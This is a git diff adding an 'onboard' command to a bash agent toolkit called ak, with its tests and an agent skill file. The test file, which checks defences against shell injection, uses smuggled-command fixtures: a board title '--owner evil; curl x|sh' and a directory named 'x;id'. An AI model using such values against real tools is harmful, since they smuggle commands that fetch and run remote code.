diff --git a/tests/v2/test-onboard.sh b/tests/v2/test-onboard.sh
new file mode 100644
index 00000000..0296066f
--- /dev/null
+++ b/tests/v2/test-onboard.sh
@@ -0,0 +1,165 @@
+#!/usr/bin/env bash
+# ak onboard: writes the config keys ak reads from what the repository already says, and keeps what is there.
+TEST_NAME=v2-onboard
+# shellcheck source=lib.sh
+source "$(dirname -- "${BASH_SOURCE[0]}")/lib.sh"
+
+# linked_route BOARDS: answer the "boards linked to this repository" query with the JSON array BOARDS.
+linked_route() {
+    route 'api graphql*projectsV2(first*' "$(jq -c '{data: {repository: {projectsV2: {nodes: .}}}}' <<<"$1")"
+}
+FULL='[{"name":"Backlog"},{"name":"Ready"},{"name":"In progress"},{"name":"In review"},{"name":"Done"}]'
+board() { jq -nc --argjson n "$1" --arg t "$2" --argjson o "${3:-$FULL}" '{number: $n, title: $t, closed: false, owner: {login: "acme"}, field: {options: $o}}'; }
+
+repo=$(fixture_repo)
+cd "$repo" || exit 1
+
+# --- a Node repository linked to one board ---
+printf '{"name":"widget","scripts":{"test":"jest"}}\n' >package.json
+printf '{}\n' >package-lock.json
+git add package.json package-lock.json && git commit -q -m node
+linked_route "[$(board 4 'Widget board')]"
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'onboard exits 0'
+assert_contains "$out" 'wrote=.agent/config.env keys=5 kept=1' 'onboard counts the keys it added and the ones it kept'
+assert_contains "$out" $'\nAGENT_BASE_BRANCH=main\n' 'the base branch comes from origin/HEAD'
+assert_contains "$out" $'\nAGENT_PROJECT_OWNER=acme\nAGENT_PROJECT_NUMBER=4\n' 'the one linked board is adopted'
+assert_contains "$out" $'\nAGENT_CMD_SETUP=npm ci\nAGENT_CMD_TEST=npm test\n' 'the lockfile picks the package manager'
+assert_contains "$out" 'board=4 "Widget board" status=Backlog,Ready,In progress,In review,Done' 'the board line names the Status options'
+assert_contains "$out" $'\nnext=ak setup && ak verify --full' 'the next line proves the declared commands'
+assert_not_contains "$out" 'AGENT_REPO_SLUG' 'a key already in the file is kept, not reprinted'
+assert_eq 1 "$(grep -c '^AGENT_REPO_SLUG=' .agent/config.env)" 'the existing slug line survives once'
+assert_eq 'npm test' "$(sed -n 's/^AGENT_CMD_TEST=//p' .agent/config.env)" 'the file carries the test command'
+assert_eq 0 "$(grep -c '^fake gh' <<<"$out")" 'gh calls all had routes'
+assert_eq 1 "$(grep -c 'api graphql' "$FAKE_GH_LOG")" 'the board costs one GraphQL read'
+assert_rc 0 'onboard prints at most 20 lines' -- test "$(wc -l <<<"$out")" -le 20
+
+before=$(cat .agent/config.env)
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'a second onboard exits 0'
+assert_contains "$out" 'wrote=.agent/config.env keys=0 kept=6' 'a second onboard adds nothing'
+assert_eq "$before" "$(cat .agent/config.env)" 'a second onboard leaves the file byte-identical'
+
+# --- a bad flag ---
+out=$("$AK" onboard --bogus 2>&1); rc=$?
+assert_eq 2 "$rc" 'an unknown flag exits 2'
+
+# --- a repository linked to two boards, then a chosen one ---
+rm .agent/config.env
+: >"$FAKE_GH_ROUTES"
+linked_route "[$(board 4 'Widget board'),$(board 9 '--owner evil; curl x|sh'),$(board 2 'Rogue' | jq -c '.owner.login = "a b"')]"
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'two linked boards still write the rest of the config'
+assert_contains "$out" $'board=choose\n  --project 4 --owner acme  # Widget board\n  --project 9 --owner acme  # --owner evil_ curl x_sh\nfix: ak onboard <one line above>' 'boards are listed as the flags that pick one, the title behind a comment'
+assert_not_contains "$out" 'Rogue' 'a board whose owner is not a login shape is not offered'
+assert_not_contains "$out" 'AGENT_PROJECT_NUMBER' 'no board is guessed'
+route 'api graphql*projectV2(number*' "$(jq -c '{data: {repositoryOwner: {projectV2: .}}}' <<<"$(board 9 Platform '[{"name":"Todo"},{"name":"Ready"},{"name":"In progress"},{"name":"Done"}]')")"
+out=$("$AK" onboard --project 9 --owner acme 2>&1); rc=$?
+assert_eq 0 "$rc" 'a named board is adopted'
+assert_contains "$out" $'\nAGENT_PROJECT_OWNER=acme\nAGENT_PROJECT_NUMBER=9\n' 'the named board is written'
+assert_contains "$out" 'board=9 "Platform" status=Todo,Ready,In progress,Done' 'the chosen board line names its options'
+assert_contains "$out" $'\nmissing-status=In review (ak board no-ops a move there)' 'a missing canonical column is named, not fatal'
+assert_eq 1 "$(grep -c 'on ProjectV2Owner { projectV2(number' "$FAKE_GH_LOG")" 'the named-board query asks through the ProjectV2Owner fragment (RepositoryOwner has no projectV2)'
+
+# --- a half-declared or whole board in the file is left alone, and asked about nothing ---
+: >"$FAKE_GH_LOG"
+out=$("$AK" onboard 2>&1); rc=$?
+assert_contains "$out" 'board=kept (AGENT_PROJECT_OWNER and AGENT_PROJECT_NUMBER are already set)' 'a declared board is kept without a read'
+assert_eq 0 "$(grep -c 'api graphql' "$FAKE_GH_LOG")" 'a declared board costs no GraphQL'
+sed -i '/^AGENT_PROJECT_NUMBER=/d' .agent/config.env
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'a half-declared board exits 0'
+assert_contains "$out" 'board=incomplete; .agent/config.env has one of AGENT_PROJECT_OWNER/AGENT_PROJECT_NUMBER: set both or remove it' 'a half-declared board is named, not completed'
+assert_rc 1 'the discovered number is not paired with a kept owner' -- grep -q '^AGENT_PROJECT_NUMBER=' .agent/config.env
+
+# --- --project alone asks the repository's own owner ---
+printf 'AGENT_REPO_SLUG=acme/widget\n' >.agent/config.env
+: >"$FAKE_GH_LOG"
+out=$("$AK" onboard --project 9 2>&1); rc=$?
+assert_eq 0 "$rc" '--project without --owner is accepted'
+assert_eq 1 "$(grep -c -- '-F owner=acme -F number=9' "$FAKE_GH_LOG")" 'the owner defaults to the repository owner'
+assert_contains "$out" $'\nAGENT_PROJECT_OWNER=acme\nAGENT_PROJECT_NUMBER=9\n' 'the board named by number alone is written'
+out=$("$AK" onboard --owner acme 2>&1); rc=$?
+assert_eq 2 "$rc" '--owner without --project is a usage error'
+
+# --- no linked board, no toolchain ---
+rm .agent/config.env package.json package-lock.json
+git rm -q package.json package-lock.json && git commit -q -m bare
+: >"$FAKE_GH_ROUTES"
+linked_route '[]'
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'nothing discovered still exits 0'
+assert_contains "$out" 'board=none; ak plan reads AGENT_READY_LABEL=<label> instead, or name one: ak onboard --project N --owner O' 'no board names both ways forward'
+assert_contains "$out" 'commands=none; append AGENT_CMD_TEST=<the command CI runs> to .agent/config.env' 'no toolchain asks for the CI command'
+assert_contains "$out" $'\nnext=ak verify --full' 'with no setup, next is verify alone'
+assert_not_contains "$out" $'\nAGENT_CMD_' 'no command is invented'
+
+# --- no origin/HEAD and no reachable API: the base is not guessed ---
+rm .agent/config.env
+git remote set-head origin -d
+: >"$FAKE_GH_ROUTES"
+linked_route '[]'
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'an unknown base exits 0'
+assert_contains "$out" $'\nbase=unknown; fix: git remote set-head origin -a' 'an unknown base is named with its fix'
+assert_rc 1 'no base is guessed into the file' -- grep -q '^AGENT_BASE_BRANCH=' .agent/config.env
+git remote set-head origin main
+rm .agent/config.env
+
+# --- a board read that fails is reported, not fatal ---
+: >"$FAKE_GH_ROUTES"
+route 'api graphql*projectsV2(first*' 'gh: Bad credentials (HTTP 401)' 1
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'a failed board read still writes the config'
+assert_contains "$out" 'board=unavailable (gh: Bad credentials (HTTP 401)); fix: gh auth status' 'the board failure carries the gh error'
+
+# --- Makefile wins; per-directory toolchains become suites ---
+rm -f .agent/config.env
+printf 'test:\n\ttrue\n' >Makefile
+printf '{"name":"root"}\n' >package.json && : >package-lock.json
+mkdir -p api web services/jobs
+printf '[project]\nname="api"\n' >api/pyproject.toml && : >api/uv.lock
+printf '{"scripts":{"test":"vitest"}}\n' >web/package.json && : >web/pnpm-lock.yaml
+printf 'module jobs\n' >services/jobs/go.mod
+mkdir -p tools/site && printf '{"name":"site"}\n' >tools/site/package.json && : >tools/site/package-lock.json
+mkdir -p 'x;id' && printf 'module x\n' >'x;id/go.mod'
+mkdir -p api-v1 api_v1 && printf 'module v1\n' >api-v1/go.mod && printf 'module v1\n' >api_v1/go.mod
+printf 'AGENT_CMD_WEB=pytest web/tests\nx' >.agent/config.env   # a hand-written suite, and a last line with no newline
+git add Makefile package.json package-lock.json api web services tools 'x;id' api-v1 api_v1 && git commit -q -m mono
+linked_route '[]'
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'a monorepo onboards'
+assert_contains "$out" $'\nAGENT_CMD_TEST=make test\n' 'a Makefile test target is the whole check'
+assert_contains "$out" $'\nAGENT_CMD_API=uv run pytest\nAGENT_RUNDIR_API=api\n' 'a uv project is a suite in its directory'
+assert_not_contains "$out" 'AGENT_RUNDIR_WEB' 'a kept suite command gains no directory'
+assert_eq 'pytest web/tests' "$(sed -n 's/^AGENT_CMD_WEB=//p' .agent/config.env)" 'the hand-written suite command is kept'
+assert_contains "$out" $'\nAGENT_CMD_SERVICES_JOBS=go test ./...\nAGENT_RUNDIR_SERVICES_JOBS=services/jobs\n' 'a nested go module is a suite named by its path'
+assert_contains "$out" $'\nAGENT_CMD_SETUP=npm ci && (cd api && uv sync) && (cd web && pnpm install --frozen-lockfile)\n' 'the root install comes first, then each suite with its own lockfile'
+assert_contains "$out" $'\nsuite-skipped=api_v1 (AGENT_CMD_API_V1 is taken; add it by hand)' 'a second directory with the same normalised name is named, not duplicated'
+assert_eq 'api-v1' "$(sed -n 's/^AGENT_RUNDIR_API_V1=//p' .agent/config.env)" 'the first API_V1 directory keeps the name'
+assert_eq 'x' "$(sed -n 2p .agent/config.env)" 'a last line without a newline keeps its own value'
+assert_not_contains "$out" 'tools/site' 'a package.json with no test script is neither a suite nor an install'
+assert_not_contains "$out" 'x;id' 'a directory name with shell characters never reaches a command'
+assert_eq "$(printf '%s\n' AGENT_BASE_BRANCH AGENT_CMD_API AGENT_CMD_API_V1 AGENT_CMD_SERVICES_JOBS AGENT_CMD_SETUP AGENT_CMD_TEST AGENT_CMD_WEB AGENT_REPO_SLUG AGENT_RUNDIR_API AGENT_RUNDIR_API_V1 AGENT_RUNDIR_SERVICES_JOBS)" \
+    "$(grep -oE '^AGENT_[A-Z0-9_]+' .agent/config.env | LC_ALL=C sort)" 'the file holds exactly the discovered keys'
+
+# --- a config behind a symlink is refused ---
+mv .agent/config.env "$WORK/real.env" && ln -s "$WORK/real.env" .agent/config.env
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 1 "$rc" 'a symlinked config exits 1'
+assert_contains "$out" $'behind a symlink, which onboard will not write through\nfix: rm .agent/config.env' 'the refusal names the symlink and the fix'
+assert_eq "$(cat "$WORK/real.env")" "$(cat .agent/config.env)" 'nothing was written through the link'
+rm .agent/config.env && mv "$WORK/real.env" .agent/config.env
+
+# --- an untracked config is excluded from git; a tracked one is left alone ---
+assert_rc 0 'an untracked .agent/ is ignored' -- git check-ignore -q .agent/config.env
+rm .gitignore && git rm -q --cached .gitignore && git commit -q -m noignore
+printf '/scratch' >.git/info/exclude   # an exclude whose last rule has no newline
+rm .agent/config.env
+out=$("$AK" onboard 2>&1)
+assert_eq $'/scratch\n/.agent/' "$(cat .git/info/exclude)" 'the exclude rule lands on its own line after a rule with no newline'
+assert_rc 0 '.agent/ stays ignored through info/exclude' -- git check-ignore -q .agent/config.env
+mkdir -p web/.agent && : >web/.agent/x
+assert_rc 1 'the exclude is anchored to the root' -- git check-ignore -q web/.agent/x
+
+finish
diff --git a/v2/bin/ak b/v2/bin/ak
index f69b7b84..308d84c4 100755
--- a/v2/bin/ak
+++ b/v2/bin/ak
@@ -9,7 +9,8 @@ source "$AK_HOME/lib/common.sh"
 usage() {
     cat <<'USAGE'
 usage: ak <command> [args]
-  root:   plan [--limit N] [--yolo] [--serialize] [--new] collect (--issue N | --pr N)
+  root:   onboard [--project N [--owner O]]        plan [--limit N] [--yolo] [--serialize] [--new]
+          collect (--issue N | --pr N)
           pr-plan --pr N [--pr N]...                merge --pr N
   worker: setup   verify   ship --message M [--body-file F]   review
           ci [--timeout S] [--once]   threads [--resolve ID --note T]   receipt --findings F [--remaining T]
diff --git a/v2/lib/onboard.sh b/v2/lib/onboard.sh
new file mode 100644
index 00000000..7120afc2
--- /dev/null
+++ b/v2/lib/onboard.sh
@@ -0,0 +1,193 @@
+# shellcheck shell=bash
+# ak onboard [--project N [--owner O]]: write the .agent/config.env keys ak reads from what the repository already
+# says: slug and base from git, the linked project board and its Status options from one GraphQL read, and the
+# setup/test commands from marker files. Keys already in the file are kept; a re-run changes nothing.
+
+CANON_STATUS='Ready|In progress|In review|Done'
+# shellcheck disable=SC2016  # GraphQL variables, bound by gh's -F flags.
+LINKED_QUERY='query($owner: String!, $name: String!) { repository(owner: $owner, name: $name) { projectsV2(first: 20) { nodes
+  { number title closed owner { ... on Organization { login } ... on User { login } }
+    field(name: "Status") { ... on ProjectV2SingleSelectField { options { name } } } } } } }'
+# shellcheck disable=SC2016
+NAMED_QUERY='query($owner: String!, $number: Int!) { repositoryOwner(login: $owner) { ... on ProjectV2Owner { projectV2(number: $number)
+  { number title closed owner { ... on Organization { login } ... on User { login } }
+    field(name: "Status") { ... on ProjectV2SingleSelectField { options { name } } } } } } }'
+# Open boards as `number<TAB>owner<TAB>title<TAB>status,options`. Title and owner reach lines the root pastes into a
+# shell, so the title keeps plain characters only and an owner that is not a GitHub login shape drops the row.
+BOARD_ROWS='[.. | objects | select(has("number") and has("title"))] | map(select(.closed != true)) | .[] |
+  select(.owner.login | test("^[A-Za-z0-9-]+$")) |
+  [.number, .owner.login, (.title | gsub("[^A-Za-z0-9 ._-]"; "_") | .[0:60]), ([.field.options[]?.name] | join(","))] | @tsv'
+
+onboard_has() { grep -qE "^$1=" "$FILE" 2>/dev/null; }
+
+# onboard_set KEY VALUE: queue KEY=VALUE unless the file already has KEY or VALUE is empty.
+onboard_set() {
+    [[ -n $2 ]] || return 0
+    if onboard_has "$1"; then KEPT=$((KEPT + 1)); else LINES+=("$1=$2"); fi
+}
+
+# append_line FILE LINE: add LINE on its own line, even after a last line that has no newline.
+append_line() {
+    [[ ! -s $1 || $(tail -c 1 -- "$1" | od -An -c) == *'\n'* ]] || printf '\n' >>"$1"
+    printf '%s\n' "$2" >>"$1"
+}
+
+# onboard_install DIR: the install command for the toolchain whose marker files sit in DIR, or nothing.
+onboard_install() {
+    local d=$1
+    if [[ -f $d/package.json ]]; then
+        if [[ -f $d/pnpm-lock.yaml ]]; then echo 'pnpm install --frozen-lockfile'
+        elif [[ -f $d/yarn.lock ]]; then echo 'yarn install --frozen-lockfile'
+        elif [[ -f $d/bun.lockb || -f $d/bun.lock ]]; then echo 'bun install'
+        elif [[ -f $d/package-lock.json ]]; then echo 'npm ci'
+        elif [[ $d == . ]]; then echo 'npm install'; fi   # no lockfile below the root: the root installs
+    elif [[ -f $d/uv.lock ]]; then echo 'uv sync'
+    elif [[ -f $d/poetry.lock ]]; then echo 'poetry install'
+    elif [[ -f $d/Gemfile ]]; then echo 'bundle install'
+    fi
+}
+
+# onboard_test DIR: the test command for DIR; a Makefile test target wins over the ecosystem's default.
+onboard_test() {
+    local d=$1 pm=npm
+    if [[ -f $d/Makefile ]] && grep -qE '^test:' "$d/Makefile"; then echo 'make test'
+    elif [[ -f $d/package.json ]]; then
+        [[ ! -f $d/pnpm-lock.yaml ]] || pm=pnpm
+        [[ ! -f $d/yarn.lock ]] || pm=yarn
+        [[ ! -f $d/bun.lockb && ! -f $d/bun.lock ]] || pm=bun
+        ! jq -e '.scripts.test' "$d/package.json" >/dev/null 2>&1 || echo "$pm test"
+    elif [[ -f $d/pyproject.toml || -f $d/setup.cfg || -f $d/setup.py || -f $d/requirements.txt ]]; then
+        if [[ -f $d/uv.lock ]]; then echo 'uv run pytest'
+        elif [[ -f $d/poetry.lock ]]; then echo 'poetry run pytest'
+        else echo 'python -m pytest'; fi
+    elif [[ -f $d/Cargo.toml ]]; then echo 'cargo test'
+    elif [[ -f $d/go.mod ]]; then echo 'go test ./...'
+    elif [[ -f $d/Gemfile ]]; then [[ -d $d/spec ]] && echo 'bundle exec rspec' || echo 'bundle exec rake test'
+    elif compgen -G "$d/*.sln" >/dev/null || compgen -G "$d/*.csproj" >/dev/null; then echo 'dotnet test'
+    elif [[ -x $d/tests/run-tests.sh ]]; then echo 'tests/run-tests.sh'
+    fi
+}
+
+# onboard_suite_dirs: tracked directories (depth ≤ 2, not the root) holding their own toolchain marker.
+onboard_suite_dirs() {
+    git ls-files -- '*/package.json' '*/pyproject.toml' '*/setup.cfg' '*/setup.py' '*/Cargo.toml' '*/go.mod' \
+        '*/Gemfile' '*/Makefile' '*/*.sln' '*/*.csproj' 2>/dev/null |
+        awk -F/ 'NF > 1 && NF <= 3 && $1 !~ /^\./ { NF--; print }' OFS=/ | LC_ALL=C sort -u |
+        grep -E '^[A-Za-z0-9._][A-Za-z0-9._/-]*$' || true  # the path lands in a command ak setup runs: plain characters only
+}
+
+# onboard_toolchain: queue SETUP, TEST and one suite per toolchain directory; `none` when nothing was found.
+onboard_toolchain() {
+    local dir name command install setup test installs=() found=0 taken=''
+    setup=$(onboard_install .)
+    test=$(onboard_test .)
+    while IFS= read -r dir; do
+        [[ -n $dir ]] || continue
+        name=${dir^^}
+        name=${name//[^A-Z0-9_]/_}
+        case $name in SETUP | VERIFY | TEST | *_FIX) continue ;; esac
+        command=$(onboard_test "$dir")
+        [[ -n $command ]] || continue
+        # api-v1 and api_v1 both normalise to API_V1: the first keeps the name, the second is named for the operator.
+        if [[ ,$taken, == *",$name,"* ]]; then NOTES+=("suite-skipped=$dir (AGENT_CMD_$name is taken; add it by hand)"); continue; fi
+        taken+=",$name"
+        found=1
+        # A directory's install matters only when a suite runs there: a tool's own package.json is not a suite.
+        install=$(onboard_install "$dir")
+        [[ -z $install ]] || installs+=("(cd $dir && $install)")
+        # The command and its directory are one declaration: a kept `pytest api/tests` must not gain a directory.
+        if onboard_has "AGENT_CMD_$name" || onboard_has "AGENT_RUNDIR_$name"; then KEPT=$((KEPT + 1)); continue; fi
+        onboard_set "AGENT_CMD_$name" "$command"
+        onboard_set "AGENT_RUNDIR_$name" "$dir"
+    done < <(onboard_suite_dirs)
+    # The root install first, then each suite's own: ak setup runs the one line before any suite.
+    for command in "${installs[@]}"; do setup+="${setup:+ && }$command"; done
+    onboard_set AGENT_CMD_SETUP "$setup"
+    onboard_set AGENT_CMD_TEST "$test"
+    [[ -n $test ]] || ((found)) || NOTES+=('commands=none; append AGENT_CMD_TEST=<the command CI runs> to .agent/config.env')
+}
+
+# onboard_board [NUMBER OWNER]: read the linked boards (or the named one), queue the owner and number of the one to use.
+# Owner and number are one declaration: a file that already has either is not completed with a discovered half.
+onboard_board() {
+    local rows owner count fix
+    if onboard_has AGENT_PROJECT_OWNER && onboard_has AGENT_PROJECT_NUMBER; then
+        KEPT=$((KEPT + 2)); NOTES+=('board=kept (AGENT_PROJECT_OWNER and AGENT_PROJECT_NUMBER are already set)'); return 0
+    elif onboard_has AGENT_PROJECT_OWNER || onboard_has AGENT_PROJECT_NUMBER; then
+        KEPT=$((KEPT + 1)); NOTES+=("board=incomplete; $FILE has one of AGENT_PROJECT_OWNER/AGENT_PROJECT_NUMBER: set both or remove it"); return 0
+    fi
+    owner=$(slug); owner=${owner%%/*}
+    if [[ -n ${1:-} ]]; then
+        rows=$(gh api graphql -f "query=$NAMED_QUERY" -F "owner=${2:-$owner}" -F "number=$1" 2>&1)
+    else
+        rows=$(gh api graphql -f "query=$LINKED_QUERY" -F "owner=$owner" -F "name=$(slug | cut -d/ -f2)" 2>&1)
+    fi || { NOTES+=("board=unavailable ($rows); fix: gh auth status"); return 0; }
+    rows=$(jq -r "$BOARD_ROWS" <<<"$rows" 2>/dev/null) || { NOTES+=("board=unavailable (unreadable reply); fix: gh auth status"); return 0; }
+    count=$(grep -c . <<<"$rows" || true)
+    if ((count == 0)); then
+        [[ -n ${1:-} ]] && fix="board=none; ${2:-$owner} has no open project $1" ||
+            fix='board=none; ak plan reads AGENT_READY_LABEL=<label> instead, or name one: ak onboard --project N --owner O'
+        NOTES+=("$fix")
+    elif ((count > 1)); then
+        # The title sits behind a #: a pasted line keeps only the flags, so a title that looks like flags changes nothing.
+        NOTES+=('board=choose' "$(head -n 5 <<<"$rows" | awk -F'\t' '{ print "  --project " $1 " --owner " $2 "  # " $3 }')" \
+            'fix: ak onboard <one line above>')
+    else
+        onboard_pick "$rows"
+    fi
+}
+
+# onboard_pick ROW: queue the board keys and note its Status options and any canonical column it lacks.
+onboard_pick() {
+    local number owner title status missing=() want
+    IFS=$'\t' read -r number owner title status <<<"$1"
+    onboard_set AGENT_PROJECT_OWNER "$owner"
+    onboard_set AGENT_PROJECT_NUMBER "$number"
+    NOTES+=("board=$number \"$title\" status=$status")
+    while IFS= read -r want; do
+        grep -qiE "(^|,)$want(,|$)" <<<"$status" || missing+=("$want")
+    done < <(tr '|' '\n' <<<"$CANON_STATUS")
+    ((${#missing[@]} == 0)) || NOTES+=("missing-status=$(IFS=,; printf '%s' "${missing[*]}") (ak board no-ops a move there)")
+}
+
+# onboard_exclude: an untracked .agent/ stays out of git through the shared info/exclude, like .ak/.
+onboard_exclude() {
+    local exclude
+    ! git ls-files --error-unmatch -- "$FILE" >/dev/null 2>&1 || return 0
+    exclude="$(git rev-parse --path-format=absolute --git-common-dir)/info/exclude"
+    mkdir -p -- "$(dirname -- "$exclude")"
+    grep -qxF '/.agent/' "$exclude" 2>/dev/null || append_line "$exclude" '/.agent/'
+}
+
+cmd_main() {
+    local project='' owner='' base line shown
+    while (($#)); do
+        case $1 in
+            --project) project=${2:-}; shift 2 || usage_die 'ak onboard: --project needs a number' ;;
+            --owner) owner=${2:-}; shift 2 || usage_die 'ak onboard: --owner needs a login' ;;
+            *) usage_die "ak onboard: unknown argument: $1" ;;
+        esac
+    done
+    [[ -z $project$owner || $project =~ ^[0-9]+$ ]] || usage_die 'usage: ak onboard [--project N [--owner O]]'
+    cd -- "$(main_root)" || exit 1
+    FILE=.agent/config.env KEPT=0 LINES=() NOTES=()
+    [[ ! -L .agent && ! -L $FILE ]] || die "$FILE is behind a symlink, which onboard will not write through" "rm $FILE"
+    onboard_set AGENT_REPO_SLUG "$(slug)"
+    base=$(git symbolic-ref --quiet --short refs/remotes/origin/HEAD 2>/dev/null || true)
+    [[ -n $base ]] || base=$(gh api "repos/$(slug)" --jq .default_branch 2>/dev/null || true)
+    # A failed lookup writes nothing: a guessed `main` would survive every later run on a `master` repository.
+    [[ -n $base ]] || NOTES+=('base=unknown; fix: git remote set-head origin -a')
+    onboard_set AGENT_BASE_BRANCH "${base#origin/}"
+    onboard_board "$project" "$owner"
+    onboard_toolchain
+    mkdir -p -- .agent
+    [[ -f $FILE ]] || printf '# ak reads these KEY=value lines; edit freely. ak onboard adds missing keys and keeps every line here.\n' >"$FILE"
+    for line in "${LINES[@]}"; do append_line "$FILE" "$line"; done
+    onboard_exclude
+    printf 'wrote=%s keys=%d kept=%d\n' "$FILE" "${#LINES[@]}" "$KEPT"
+    shown=${#LINES[@]}; ((shown <= 14)) || shown=12
+    for line in "${LINES[@]:0:$shown}"; do printf '%s\n' "$line"; done
+    ((shown == ${#LINES[@]})) || printf '(+%d more in %s)\n' $((${#LINES[@]} - shown)) "$FILE"
+    ((${#NOTES[@]} == 0)) || printf '%s\n' "${NOTES[@]}"
+    if grep -qE '^AGENT_CMD_SETUP=.' "$FILE"; then printf 'next=ak setup && ak verify --full\n'; else printf 'next=ak verify --full\n'; fi
+}
diff --git a/v2/skills/onboard/SKILL.md b/v2/skills/onboard/SKILL.md
new file mode 100644
index 00000000..caaf10cd
--- /dev/null
+++ b/v2/skills/onboard/SKILL.md
@@ -0,0 +1,21 @@
+---
+name: onboard
+description: Set up a repository for ak by writing .agent/config.env from what the repository and its GitHub project already say, then proving the declared commands. Use for "/onboard", "onboard this repo", "set up ak here", or when `ak plan` refuses with "no project board or ready label configured".
+---
+
+# onboard
+
+`ak` is `<this skill's directory>/../../bin/ak`, run from the repository root. Pass the operator's flags
+(`--project N [--owner O]`; the owner defaults to the repository's) straight through. `.agent/config.env` is plain `KEY=value` lines; `ak onboard` adds the
+keys it discovers and keeps every line already there, so running it again is safe.
+
+1. Run `ak onboard [flags]`. It prints each key it wrote, a `board=` line and a `next=` line.
+2. `board=choose` lists the boards the repository is linked to: ask the operator which one, then run the `fix:`
+   command it printed with that number. `board=none` is fine for a repository worked by label or by `--issue N`.
+3. `commands=none`: find the test command CI runs (the `run:` steps in `.github/workflows/*.yml`, else the
+   README) and append `AGENT_CMD_TEST=<command>` to `.agent/config.env`, plus `AGENT_CMD_SETUP=<install command>`
+   when it needs one.
+4. Run the `next=` command. `verify=pass` proves the declared commands. On `FAIL <name>`, the log it names says
+   why: correct that `AGENT_CMD_` line in `.agent/config.env` and run the `next=` command once more.
+5. Report the `ak onboard` lines and the verify result, then stop. Committing `.agent/config.env` is the operator's
+   call: ak reads it from the checkout, so worktrees need nothing more.